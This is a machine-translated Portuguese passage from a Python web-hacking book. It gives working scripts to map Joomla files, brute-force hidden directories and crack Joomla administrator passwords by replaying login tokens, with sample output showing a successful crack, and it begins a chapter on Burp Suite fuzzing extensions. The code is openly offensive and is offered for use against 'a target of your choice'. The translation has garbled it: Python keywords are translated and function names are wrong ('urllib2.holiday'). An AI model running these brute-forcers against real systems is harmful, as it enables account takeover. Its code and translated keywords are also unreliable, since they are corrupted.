Agora temos os meios fundamentais para conversar com serviços web e web-
sites, então vamos criar algumas ferramentas úteis para qualquer ataque de aplicação web ou
teste de penetração.

62 Capítulo 5

www.it-ebooks.info
Machine Translated by Google

Mapeando instalações de aplicativos da Web de código aberto


Sistemas de gerenciamento de conteúdo e plataformas de blog como Joomla,
WordPress e Drupal simplificam o início de um novo blog ou site e são relativamente
comuns em um ambiente de hospedagem compartilhada ou até mesmo em uma
rede corporativa. Todos os sistemas têm seus próprios desafios em termos de
instalação, configuração e gerenciamento de patches, e esses pacotes de CMS não
são exceção. Quando um administrador de sistema sobrecarregado ou um
desenvolvedor web infeliz não segue todos os procedimentos de segurança e
instalação, pode ser fácil para um invasor obter acesso ao servidor web.
Porque podemos baixar qualquer aplicativo da web de código aberto e localmente
determinar sua estrutura de arquivos e diretórios, podemos criar um scanner
específico que pode procurar todos os arquivos acessíveis no destino remoto.
Isso pode eliminar arquivos de instalação restantes, diretórios que deveriam ser
protegidos por arquivos .htaccess e outras vantagens que podem ajudar um invasor a
obter uma posição segura no servidor web. Este projeto também apresenta o uso de
objetos Python Queue , que nos permitem construir uma pilha grande e segura de
itens e fazer com que vários threads escolham itens para processamento. Isso
permitirá que nosso scanner funcione muito rapidamente. Vamos abrir
web_app_mapper.py e inserir o seguinte código:

fila de importação
importar threading
importe-nos
importar urllib2

tópicos = 10

ÿ target = "http://www.blackhatpython.com" diretório = "/Users/


justin/Downloads/joomla-3.1.1"
filtros = [".jpg",".gif","png",".css"]

os.chdir(diretório)

ÿ web_paths = Queue.Queue()

ÿ para r,d,f em os.walk("."): para arquivos


em f:
caminho_remoto = "%s/%s" % (r,arquivos)
se remote_path.startswith("."):
caminho_remoto = caminho_remoto[1:]
se os.path.splitext(files)[1] não estiver em filtros:
web_paths.put(caminho_remoto)

def teste_remote():
x enquanto não é web_paths.empty(): path =
web_paths.get()
url = "%s%s" % (destino, caminho)

solicitação = urllib2.Request(url)

Hackers da Web 63

www.it-ebooks.info
Machine Translated by Google

tentar:
resposta = urllib2.holiday(solicitação)
conteúdo = resposta.read()

e imprimir "[%d] => %s" %


(response.code,caminho)response.close()

Com
exceto urllib2.HTTPError como erro:
#print "Falha %s" % error.code
passar

{ for i in range(threads): print


"Thread de geração: %d" % i
t = threading.Thread(target=test_remote)
t.start()

Começamos definindo o site de destino remoto ÿ e o diretório local no qual


baixamos e extraímos o aplicativo da web.
Também criamos uma lista simples de extensões de arquivo que não estamos
interessados em identificar. Esta lista pode ser diferente dependendo da aplicação
alvo. A variável web_paths ÿ é nosso objeto Queue onde armazenaremos os
arquivos que tentaremos localizar no servidor remoto. Em seguida, usamos o os.walk ÿ
função para percorrer todos os arquivos e diretórios no diretório local do aplicativo da web.
À medida que percorremos os arquivos e diretórios, construímos o caminho completo para
os arquivos de destino e os testamos em nossa lista de filtros para ter certeza de que
estamos procurando apenas os tipos de arquivo que desejamos. Para cada arquivo válido
que encontramos localmente, nós o adicionamos à nossa fila web_paths.
Olhando para a parte inferior do script {, estamos criando uma série de threads
(conforme definido na parte superior do arquivo) que serão chamados cada um de test_remote
função. A função test_remote opera em um loop que continuará em execução até
que a fila web_paths esteja vazia. Em cada iteração do loop, pegamos um caminho
da Fila x, adicionamos-o ao caminho base do site de destino e tentamos recuperá-
lo. Se conseguirmos recuperar o arquivo, geramos o código de status HTTP e o
caminho completo para o arquivo ÿ. Se o arquivo não for encontrado ou estiver
protegido por um arquivo .htaccess , isso fará com que urllib2 gere um erro, que
tratamos ÿ para que o loop possa continuar em execução.

Chutando os pneus

Para fins de teste, instalei o Joomla 3.1.1 em minha Kali VM, mas você pode usar
qualquer aplicativo da web de código aberto que possa implantar rapidamente ou que
já esteja em execução. Ao executar web_app_mapper.py, você deverá ver um
resultado semelhante ao seguinte:

Tópico de geração: 0
Tópico de desova: 1
Tópico de desova: 2
Tópico de desova: 3
Tópico de desova: 4
Tópico de desova: 5

64 Capítulo 5
www.it-ebooks.info
Machine Translated by Google

Tópico de desova: 6
Tópico de desova: 7
Tópico de desova: 8
Tópico de desova: 9
[200] => /htaccess.txt
[200] => /web.config.txt
[200] => /LICENSE.txt
[200] => /README.txt
[200] => /administrador/cache/index.html
[200] => /administrador/componentes/index.html
[200] => /administrator/components/com_admin/controller.php
[200] => /administrator/components/com_admin/script.php
[200] => /administrator/components/com_admin/admin.xml
[200] => /administrador/componentes/com_admin/admin.php
[200] => /administrator/components/com_admin/helpers/index.html
[200] => /administrator/components/com_admin/controllers/index.html
[200] => /administrator/components/com_admin/index.html
[200] => /administrator/components/com_admin/helpers/html/index.html
[200] => /administrator/components/com_admin/models/index.html
[200] => /administrator/components/com_admin/models/profile.php
[200] => /administrator/components/com_admin/controllers/profile.php

Você pode ver que estamos obtendo alguns resultados válidos, incluindo alguns arquivos .txt e arquivos XML.
É claro que você pode incluir inteligência adicional no script para retornar apenas os arquivos de seu interesse, como
aqueles que contêm a palavra install .

Diretórios e locais de arquivos de força bruta


O exemplo anterior pressupôs muito conhecimento sobre o seu alvo. Mas em muitos casos em que
você está atacando um aplicativo web personalizado ou um grande sistema de comércio eletrônico,
você não terá conhecimento de todos os arquivos acessíveis no servidor web. Geralmente, você
implantará um spider, como o incluído no Burp Suite, para rastrear o site de destino a fim de
descobrir o máximo possível do aplicativo da web. No entanto, em muitos casos, existem arquivos de
configuração, arquivos de desenvolvimento restantes, scripts de depuração e outras trilhas de
segurança que podem fornecer informações confidenciais ou expor funcionalidades que o desenvolvedor
do software não pretendia. A única maneira de descobrir esse conteúdo é usar uma ferramenta de força
bruta para localizar nomes de arquivos e diretórios comuns.

Construiremos uma ferramenta simples que aceitará listas de palavras de palavras brutas comuns
forcers como o projeto DirBuster1 ou SVNDigger2 e tentam descobrir diretórios e arquivos que
podem ser acessados no servidor web de destino. Como antes, criaremos um conjunto de threads
para tentar descobrir agressivamente

1. Projeto DirBuster: https:// www.owasp.org/ index.php/ Category:OWASP_DirBuster_Project


2. Projeto SVNDigger: https:// www.mavitunasecurity.com/ blog/ svn-digger-better-lists-for-forced
-navegando/

Hackers da Web 65

www.it-ebooks.info
Machine Translated by Google

contente. Vamos começar criando algumas funcionalidades para criar uma fila a partir de
um arquivo de lista de palavras. Abra um novo arquivo, nomeie-o content_bruter.py e insira
o seguinte código:

importar urllib2
importar threading
fila de importação
importar URLlib

tópicos = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "/tmp/all.txt" # do SVNDigger
retomar = Nenhum

agente de usuário = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101¬ Firefox/19.0"

def build_wordlist(arquivo_listadepalavras):

# leia a lista de palavras


ÿ fd = open(wordlist_file,"rb") raw_words = fd.readlines()

fd.fechar()

encontrado_resume = Falso
palavras = Queue.Queue()

ÿ para palavra em raw_words:

palavra = palavra.rstrip()

se currículo não for Nenhum:

se encontrado_resume:
palavras.put(palavra)
outro:
se palavra == currículo:
encontrado_resume = Verdadeiro
print "Retomando lista de palavras de: %s" % currículo

outro:
palavras.put(palavra)

retornar palavras

Esta função auxiliar é bastante direta. Lemos um arquivo de lista de palavras ÿ e


então começamos a iterar cada linha do arquivo ÿ. Temos algumas funcionalidades
integradas que nos permitem retomar uma sessão de força bruta se nossa conectividade de
rede for interrompida ou o site de destino cair. Isso pode ser conseguido simplesmente
definindo a variável resume para o último caminho que a força bruta tentou. Quando todo
o arquivo for analisado, retornamos uma Queue
cheio de palavras para usar em nossa função real de força bruta. Reutilizaremos essa
função posteriormente neste capítulo.

66 Capítulo 5
www.it-ebooks.info
Machine Translated by Google

Queremos que algumas funcionalidades básicas estejam disponíveis para nosso


script de força bruta. A primeira é a capacidade de aplicar uma lista de extensões para
testar ao fazer solicitações. Em alguns casos, você deseja tentar não apenas /admin
diretamente, por exemplo, mas admin.php, admin.inc e admin.html.

def dir_bruter(palavra_queue,extensões=Nenhum):

embora não seja word_queue.empty():


tentativa = word_queue.get()

lista_tentativa = []

# verifica se existe uma extensão de arquivo; se não,


# é um caminho de diretório que estamos selecionando
ÿ se "." não está na
tentativa: try_list.append("/%s/" % tentativa)
outro:
try_list.append("/%s" % tentativa)

# se quisermos aplicar força bruta às extensões if:


ÿ
para extensão em extensões:
try_list.append("/%s%s" % (tentativa,extensão))

# iterar sobre nossa lista de tentativas


brutais em try_list:

url = "%s%s" % (target_url,urllib.quote(bruto))

tentar:
cabeçalhos = {}
ÿ headers["User-Agent"] = user_agent r =
urllib2.Request(url,headers=headers)

resposta = urllib2.holiday(r)

ÿ if len(response.read()):
imprima "[%d] => %s"% (response.code,url)

exceto urllib2.URLError,e:

se hasattr(e, 'código') e e.code != 404:


ÿ imprimir "!!! %d => %s" % (e.code,url)

passar

Nossa função dir_bruter aceita um objeto Queue que é preenchido com palavras
para usar na força bruta e uma lista opcional de extensões de arquivo para testar.
Começamos testando para ver se existe uma extensão de arquivo na palavra atual ÿ e,
se não houver, tratamos como um diretório que queremos testar no servidor web
remoto. Se houver uma lista de extensões de arquivo passadas em ÿ, então pegamos a
palavra atual e aplicamos cada extensão de arquivo que queremos testar.

Hackers da Web 67

www.it-ebooks.info
Machine Translated by Google

Pode ser útil aqui pensar em usar extensões como .orig e .bak além das extensões regulares
de linguagem de programação. Depois de construirmos uma lista de tentativas de força
bruta, definimos o cabeçalho User-Agent como algo inócuo ÿ e testamos o servidor web
remoto. Se o código de resposta for 200, geramos o URL ÿ, e se recebermos algo que não
seja 404, também geramos ÿ
porque isso pode indicar algo interessante no servidor web remoto além de um erro de “arquivo não
encontrado”.

É útil prestar atenção e reagir à sua saída porque, dependendo da configuração do


servidor web remoto, pode ser necessário filtrar mais códigos de erro HTTP para limpar seus
resultados. Vamos finalizar o script configurando nossa lista de palavras, criando uma lista de
extensões e ativando os threads de força bruta.

word_queue = build_wordlist(wordlist_file)
extensões = [".php",".bak",".orig",".inc"]

para i no intervalo (threads):


t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))
t.start()

O recorte de código acima é bastante simples e já deve parecer familiar. Colocamos


nossa lista de palavras em força bruta, criamos uma lista simples de extensões de arquivo
para testar e, em seguida, criamos vários threads para fazer a força bruta.

Chutando os pneus

OWASP tem uma lista de aplicações web vulneráveis online e offline (máquinas virtuais,
ISOs, etc.) nas quais você pode testar suas ferramentas. Nesse caso, o URL referenciado no
código-fonte aponta para um aplicativo da web intencionalmente com bugs hospedado pela
Acunetix. O legal é que isso mostra o quão eficaz a força bruta pode ser em um aplicativo da
web. Eu recomendo que você defina a variável thread_count para algo sensato, como 5, e
execute o script.
Em pouco tempo, você deverá começar a ver resultados como os abaixo:

[200] => http://testphp.vulnweb.com/CVS/


[200] => http://testphp.vulnweb.com/admin/
[200] => http://testphp.vulnweb.com/index.bak
[200] => http://testphp.vulnweb.com/search.php
[200] => http://testphp.vulnweb.com/login.php
[200] => http://testphp.vulnweb.com/images/
[200] => http://testphp.vulnweb.com/index.php
[200] => http://testphp.vulnweb.com/logout.php
[200] => http://testphp.vulnweb.com/categories.php

Você pode ver que estamos obtendo alguns resultados interessantes do controle remoto
local na rede Internet. Não consigo enfatizar o suficiente a importância de executar a força
bruta de conteúdo em todos os alvos de seus aplicativos da web.

68 Capítulo 5
www.it-ebooks.info
Machine Translated by Google

Autenticação de formulário HTML de força bruta


Pode chegar um momento em sua carreira de hacker na web em que você precisará
obter acesso a um alvo ou, se estiver prestando consultoria, poderá precisar avaliar a
força da senha em um sistema web existente. Tornou-se cada vez mais comum que
os sistemas web tenham proteção de força bruta, seja um captcha, uma equação
matemática simples ou um token de login que deve ser enviado com a solicitação.
Existem vários métodos de força bruta que podem fazer a força bruta de uma solicitação
POST para o script de login, mas em muitos casos eles não são flexíveis o suficiente
para lidar com conteúdo dinâmico ou lidar com verificações simples de “você é humano”.
Criaremos uma força bruta simples que será útil no Joomla, um popular sistema de
gerenciamento de conteúdo. Os sistemas Joomla modernos incluem algumas técnicas
básicas anti-força bruta, mas ainda não possuem bloqueios de conta ou captchas
fortes por padrão.
Para usar o Joomla com força bruta, temos dois requisitos que precisam ser
atendidos: recuperar o token de login do formulário de login antes de enviar a tentativa
de senha e garantir que aceitamos cookies em nossa sessão urllib2 .
Para analisar os valores do formulário de login, usaremos a classe nativa do Python
HTMLParser. Este também será um bom tour rápido por alguns recursos adicionais do
urllib2 que você pode empregar ao construir ferramentas para seus próprios alvos.
Vamos começar dando uma olhada no formulário de login do administrador do Joomla.
Isso pode ser encontrado navegando até http:// <yourtarget>.com/ administrator/. Por
uma questão de brevidade, incluí apenas os elementos relevantes do formulário.

<form action="/administrator/index.php" method="post" id="form-login" class="form-inline">

<input name="nome de usuário" tabindex="1" id="mod-login-username" type="text"


class="input-medium" placeholder="Nome de usuário" size="15"/>

<input name="passwd" tabindex="2" id="mod-login-password" type="password"


class="input-medium" placeholder="Password" size="15"/>

<select id="lang" name="lang" class="inputbox advancedSelect">


<option value="" selected="selected">Idioma - Padrão</option>
<option value="en-GB">Inglês (Reino Unido)</option>
</selecionar>

<input type="hidden" name="option" value="com_login"/>


<input type="hidden" name="task" value="login"/>
<input type="hidden" name="return" value="aW5kZXgucGhw"/>
<input type="hidden" name="1796bae450f8430ba0d2de1656f3e0ec" valor="1" />

</form>

Lendo este formulário, temos acesso a algumas informações valiosas que


precisaremos incorporar em nossa força bruta. A primeira é que o formulário seja
enviado ao caminho /administrator/index.php como um HTTP POST. A seguir estão
todos os campos obrigatórios para que o envio do formulário seja bem-sucedido. Em
particular, se você observar o último campo oculto,

Hackers da Web 69

www.it-ebooks.info
Machine Translated by Google

você verá que seu atributo name está definido como uma string longa e aleatória. Esta é a
peça essencial da técnica anti-força bruta do Joomla. Essa string aleatória é verificada em
relação à sua sessão de usuário atual, armazenada em um cookie e, mesmo que você
esteja passando as credenciais corretas para o script de processamento de login, se o
token aleatório não estiver presente, a autenticação falhará. Isso significa que temos que
usar o seguinte fluxo de solicitação em nosso força bruta para ter sucesso no Joomla:

1. Recupere a página de login e aceite todos os cookies retornados.


2. Analise todos os elementos do formulário do HTML.

3. Defina o nome de usuário e/ou senha de acordo com um palpite do nosso dicionário.
4. Envie um HTTP POST para o script de processamento de login incluindo todos
Campos de formulário HTML e nossos cookies armazenados.

5. Teste para ver se fizemos login com sucesso no aplicativo da web.

Você pode ver que utilizaremos algumas técnicas novas e valiosas neste script.
Mencionarei também que você nunca deve “treinar” suas ferramentas em um alvo ativo;
sempre configure uma instalação do seu aplicativo web de destino com credenciais
conhecidas e verifique se você obtém os resultados desejados. Vamos abrir um novo
arquivo Python chamado joomla_killer.py e inserir o seguinte código:

importar urllib2
importar urllib
importar cookielib
importar threading
sistema de importação

fila de importação

de HTMLParser importar HTMLParser

# Configurações Gerais
user_thread = 10
nome de usuário = "administrador"

wordlist_file = "/tmp/cain.txt"
retomar = Nenhum

# configurações específicas de destino


ÿ target_url = "http://192.168.112.131/administrator/index.php" target_post = "http://192.168.112.131/
administrator/index.php"

ÿ nomedeusuário_field= "nomedeusuário"
campo_senha= "senha"

ÿ success_check = "Administração - Painel de Controle"

Essas configurações gerais merecem um pouco de explicação. O URL_alvo


a variável ÿ é onde nosso script primeiro fará o download e analisará o HTML.
A variável target_post é onde enviaremos nossa tentativa de força bruta.
Com base em nossa breve análise do HTML no login do Joomla, podemos definir

70 Capítulo 5

www.it-ebooks.info
Machine Translated by Google

as variáveis username_field e password_field ÿ para o nome apropriado dos


elementos HTML. Nossa variável Success_check ÿ é uma string que
verificaremos após cada tentativa de força bruta para determinar se tivemos
sucesso ou não. Vamos agora criar o encanamento para nossa força bruta;
alguns dos códigos a seguir serão familiares, então destacarei apenas as
técnicas mais recentes.

classe Bruter (objeto):


def __init__(self, nome de usuário, palavras):

self.username = nome de usuário


self.password_q = palavras
self.found = Falso

print "Configurações concluídas para: %s" % nome de usuário

def run_bruteforce(self):

para i no intervalo (user_thread):


t = threading.Thread(target=self.web_bruter)
t.start()

def web_bruter(self):

embora não seja self.password_q.empty() e não self.found:


bruto = self.password_q.get().rstrip()
ÿ jar = cookielib.FileCookieJar("cookies") opener
= urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))

resposta = opener.open(target_url)

página = resposta.read()

print "Tentando: %s: %s (%d restante)" % (self.username,brute,self.¬


senha_q.qsize())

# analisa os campos ocultos


ÿ analisador = BruteParser()
analisador.feed(página)

post_tags=parser.tag_results

# adicione nossos campos de nome de usuário e senha


ÿ post_tags[username_field] = self.username
post_tags[password_field] = bruto

ÿ login_data = urllib.urlencode(post_tags)
login_response = opener.open(target_post, login_data)

login_result = login_response.read()

ÿ se sucesso_check em login_result: self.found


= True

Hackers da Web 71

www.it-ebooks.info
Machine Translated by Google

imprimir "[*] Força bruta bem-sucedida."


imprimir "[*] Nome de usuário: %s" % nome de usuário
print "[*] Senha: %s" % bruto
print "[*] Aguardando a saída de outros threads..."

Esta é a nossa principal classe de força bruta, que irá lidar com todas as
solicitações HTTP e gerenciar cookies para nós. Depois de pegarmos nossa
tentativa de senha, configuramos nosso cookie jar ÿ usando a classe FileCookieJar
que armazenará os cookies no arquivo cookies . Em seguida, inicializamos nosso
abridor urllib2 , passando o cookie jar inicializado, que diz ao urllib2 para passar
quaisquer cookies para ele. Em seguida, fazemos a solicitação inicial para recuperar o formulário de log
Quando temos o HTML bruto, nós o passamos para nosso analisador HTML e
chamamos seu método feed ÿ, que retorna um dicionário de todos os elementos do
formulário recuperados. Depois de analisarmos o HTML com sucesso, substituímos
os campos de nome de usuário e senha por nossa tentativa de força bruta ÿ. Em
seguida, codificamos em URL as variáveis POST ÿ e depois as passamos em nossa
solicitação HTTP subsequente. Depois de recuperarmos o resultado da nossa tentativa
de autenticação, testamos se a autenticação foi bem-sucedida ou não ÿ. Agora vamos
implementar o núcleo do nosso processamento HTML. Adicione a seguinte classe ao
seu script joomla_killer.py :

classe BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
ÿ self.tag_results = {}

def handle_starttag(self, tag, atributos):


ÿ if tag == "entrada":
tag_name = Nenhum
tag_value = Nenhum
para nome, valor em atributos:
if nome == "nome":
ÿ tag_name = valor se
nome == "valor":
ÿ tag_value = valor

se tag_name não for Nenhum:


ÿ self.tag_results[tag_name] = valor

Isso forma a classe de análise HTML específica que queremos usar em


nosso alvo. Depois de conhecer os fundamentos do uso da classe HTMLParser ,
você poderá adaptá-la para extrair informações de qualquer aplicativo da Web que
possa estar atacando. A primeira coisa que fazemos é criar um dicionário no qual
nossos resultados serão armazenados ÿ. Quando chamamos a função feed , ela
passa todo o documento HTML e nossa função handle_starttag é chamada sempre
que uma tag é encontrada. Em particular, estamos procurando tags de entrada
HTML ÿ e nosso processamento principal ocorre quando determinamos que
encontramos uma. Começamos a iterar sobre os atributos da tag e

72 Capítulo 5
www.it-ebooks.info
Machine Translated by Google

se encontrarmos os atributos nome ÿ ou valor ÿ, os associamos no dicionário


tag_results ÿ. Depois que o HTML for processado, nossa classe de força bruta
poderá substituir os campos de nome de usuário e senha, deixando o restante
dos campos intactos.

HTMLParser 101

Existem três métodos principais que você pode implementar ao usar o HTMLParser
classe: handle_starttag, handle_endtag e handle_data. O identificador_starttag
A função será chamada sempre que uma tag HTML de abertura for encontrada, e o oposto
é verdadeiro para a função handle_endtag , que é chamada sempre que uma tag HTML de
fechamento for encontrada. A função handle_data é chamada quando há texto bruto entre
as tags. Os protótipos de função para cada função são ligeiramente diferentes, como segue:

handle_starttag(self, tag, atributos)


handle_endttag(próprio, etiqueta)
handle_data(próprio, dados)

Um exemplo rápido para destacar isso:

<title>Python é demais!</title>

handle_starttag => variável de tag seria "título"


handle_data => variável de dados seria "Python rocks!"
handle_endtag => variável de tag seria "título"

Com esse entendimento básico da classe HTMLParser , você pode fazer coisas
como analisar formulários, encontrar links para spidering, extrair todo o texto puro para
fins de mineração de dados ou encontrar todas as imagens em uma página.

Para encerrar nosso brute force Joomla, vamos copiar e colar o build_wordlist
função da nossa seção anterior e adicione o seguinte código:

# cole a função build_wordlist aqui

palavras = build_wordlist(wordlist_file)

bruter_obj = Bruter(nome de usuário, palavras)


bruter_obj.run_bruteforce()

É isso! Simplesmente passamos o nome de usuário e nossa lista de palavras para nosso Bruter
aula e veja a mágica acontecer.

Hackers da Web 73

www.it-ebooks.info
Machine Translated by Google

Chutando os pneus

Se você não possui o Joomla instalado em sua VM Kali, você deve instalá-lo agora.
Minha VM de destino está em 192.168.112.131 e estou usando uma lista de palavras
fornecida por Cain e Abel,3 um conjunto popular de ferramentas de força bruta e cracking.
Já predefini o nome de usuário para admin e a senha para justin na instalação do
Joomla para ter certeza de que funciona. Eu então adicionei Justin
para o arquivo de lista de palavras cain.txt cerca de 50 entradas ou mais no arquivo. Ao executar
o script, recebo a seguinte saída:

$ python2.7 joomla_killer.py
Configuração concluída para: admin
Tentando: admin: 0racl38 (306697 restantes)
Tentando: admin: !@#$% (306697 restantes)
Tentando: admin: !@#$%^ (306697 restantes)
--recorte--
Tentando: admin: 1p2o3i (306659 restantes)
Tentando: admin: 1qw23e (306657 restantes)
Tentando: admin: 1q2w3e (306656 restantes)
Tentando: admin: 1sanjose (306655 restantes)
Tentando: admin: 2 (306655 restantes)
Tentando: admin: justin (306655 restantes)
Tentando: admin: 2112 (306646 restantes)
[*] Força bruta bem-sucedida.
[*] Nome de usuário: administrador

[*] Senha: Justin


[*] Aguardando a saída de outros tópicos...
Tentando: admin: 249 (306646 restantes)
Tentando: admin: 2welcome (306646 restantes)

Você pode ver que ele faz força bruta e faz login no console do administrador do
Joomla. Para verificar, é claro que você deve fazer login manualmente e certificar-se.
Depois de testar isso localmente e ter certeza de que funciona, você pode usar essa
ferramenta em uma instalação alvo do Joomla de sua escolha.

3. Caim e Abel: http:// www.oxid.it/ cain.html

74 Capítulo 5

www.it-ebooks.info
Machine Translated by Google

6
Estendendo o Bu rp Prox y

Se você já tentou hackear um aplicativo da web, provavelmente


já usou o Burp Suite para realizar spidering, tráfego de
navegador proxy e realizar outros ataques.
Versões recentes do Burp Suite incluem a capacidade de
adicionar suas próprias ferramentas, chamadas Extensões, ao Burp.
Usando Python, Ruby ou Java puro, você pode adicionar painéis na GUI do
Burp e criar técnicas de automação no Burp Suite. Vamos aproveitar esse
recurso e adicionar algumas ferramentas úteis ao Burp para realizar ataques e
reconhecimento estendido. A primeira extensão nos permitirá utilizar uma
solicitação HTTP interceptada do Burp Proxy como semente para criar um fuzzer
de mutação que pode ser executado no Burp Intruder. A segunda extensão fará
interface com a API do Microsoft Bing para nos mostrar todos os hosts virtuais
localizados no mesmo endereço IP do nosso site de destino, bem como
quaisquer subdomínios detectados para o domínio de destino.

www.it-ebooks.info
Machine Translated by Google

Presumo que você já brincou com o Burp antes e sabe como interceptar
solicitações com a ferramenta Proxy, bem como enviar uma solicitação interceptada ao
Burp Intruder. Se você precisar de um tutorial sobre como realizar essas tarefas, visite
PortSwigger Web Security (http:// www.portswigger.net/) para começar.

Devo admitir que quando comecei a explorar a API Burp Extender, precisei de algumas
tentativas para entender como ela funcionava. Achei um pouco confuso, pois sou um cara puro de
Python e tenho experiência limitada em desenvolvimento Java. Mas encontrei uma série de
extensões no site do Burp que me permitiram ver como outras pessoas desenvolveram extensões, e
usei essa técnica anterior para me ajudar a entender como começar a implementar meu próprio
código. Abordarei alguns princípios básicos sobre extensão de funcionalidade, mas também
mostrarei como usar a documentação da API como um guia para desenvolver suas próprias
extensões.

Configurando
Primeiro, baixe o Burp em http:// www.portswigger.net/ e prepare-o para ir.
Por mais triste que seja admitir isso, você precisará de uma instalação Java moderna,
para a qual todos os sistemas operacionais possuem pacotes ou instaladores.
A próxima etapa é obter o arquivo JAR independente Jython (uma implementação Python
escrita em Java); vamos apontar isso para Burp. Você pode encontrar esse arquivo JAR
no site No Starch junto com o restante do código do livro (http:// www
.nostarch.com/ blackhatpython/) ou visite o site oficial, http:// www.jython.org/
downloads.html, e selecione o instalador independente do Jython 2.7. Não se deixe
enganar pelo nome; é apenas um arquivo JAR. Salve o arquivo JAR em um local fácil de
lembrar, como sua área de trabalho.
Em seguida, abra um terminal de linha de comando e execute o Burp assim:

#> java -XX:MaxPermSize=1G -jar burpsuite_pro_v1.6.jar

Isso fará com que o Burp seja iniciado e você verá sua UI cheia de abas maravilhosas,
como mostrado na Figura 6-1.
Agora vamos apontar o Burp para o nosso intérprete Jython. Clique na guia Extender
e, em seguida, clique na guia Opções . Na seção Python Environment, selecione o local
do seu arquivo Jython JAR, conforme mostrado na Figura 6-2.
Você pode deixar o resto das opções de lado, e devemos estar prontos para
comece a codificar nossa primeira extensão. Vamos agitar!

76 Capítulo 6
www.it-ebooks.info
Machine Translated by Google

Figura 6-1: GUI do Burp Suite carregada corretamente

Figura 6-2: Configurando a localização do interpretador Jython

Estendendo o proxy Burp 77

www.it-ebooks.info
Machine Translated by Google

Arrotar Fuzzing
Em algum momento de sua carreira, você poderá atacar um aplicativo ou serviço web
que não permite o uso de ferramentas tradicionais de avaliação de aplicativos web. Seja
trabalhando com um protocolo binário envolvido no tráfego HTTP ou em solicitações
JSON complexas, é fundamental que você seja capaz de testar bugs de aplicativos
da web tradicionais. O aplicativo pode estar usando muitos parâmetros ou está
ofuscado de alguma forma que a execução de um teste manual levaria muito tempo.
Também fui culpado de executar ferramentas padrão que não foram projetadas para
lidar com protocolos estranhos ou mesmo JSON em muitos casos. É aqui que é útil
aproveitar o Burp para estabelecer uma linha de base sólida de tráfego HTTP, incluindo
cookies de autenticação, enquanto passa o corpo da solicitação para um fuzzer
personalizado que pode manipular a carga da maneira que você escolher. Vamos
trabalhar em nossa primeira extensão Burp para criar o fuzzer de aplicação web mais
simples do mundo, que você pode então expandir para algo mais inteligente.

Burp tem uma série de ferramentas que você pode usar ao realizar testes de
aplicativos da web. Normalmente, você interceptará todas as solicitações usando o
Proxy e, quando vir uma solicitação interessante passar, você a enviará para outra
ferramenta Burp. Uma técnica comum que utilizo é enviá-los para a ferramenta Repetidor,
que me permite reproduzir o tráfego da web, bem como modificar manualmente quaisquer
pontos interessantes. Para realizar ataques mais automatizados nos parâmetros de
consulta, você enviará uma solicitação à ferramenta Intruder, que tenta descobrir
automaticamente quais áreas do tráfego da web devem ser modificadas e, em seguida,
permite que você use uma variedade de ataques para tentar obter erros. mensagens ou
revelar vulnerabilidades. Uma extensão Burp pode interagir de várias maneiras com
o conjunto de ferramentas Burp e, em nosso caso, adicionaremos funcionalidades
adicionais diretamente à ferramenta Intruder.
Meu primeiro instinto natural é dar uma olhada na documentação da API do Burp
para determinar quais classes do Burp preciso estender para escrever minha
extensão personalizada. Você pode acessar esta documentação clicando na guia
Extender e depois na guia APIs . Isso pode parecer um pouco assustador porque parece
(e é) muito Java. A primeira coisa que notamos é que os desenvolvedores do Burp
nomearam cada classe apropriadamente para que seja fácil descobrir por onde queremos
começar. Em particular, como estamos analisando solicitações difusas da Web durante
um ataque do Intruder, vejo as classes IIntruderPayloadGeneratorFactory e
IIntruderPayloadGenerator . Vamos dar uma olhada no que a documentação diz sobre
a classe IIntruderPayloadGeneratorFactory :

/**
* As extensões podem implementar esta interface e depois chamar
ÿ * IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory() * para
registrar uma fábrica para cargas úteis personalizadas do Intruder.
*/

interface pública IIntruderPayloadGeneratorFactory


{
/**
* Este método é usado pelo Burp para obter o nome do gerador de carga
*
útil. Isso será exibido como uma opção dentro do
78 Capítulo 6
www.it-ebooks.info
Machine Translated by Google

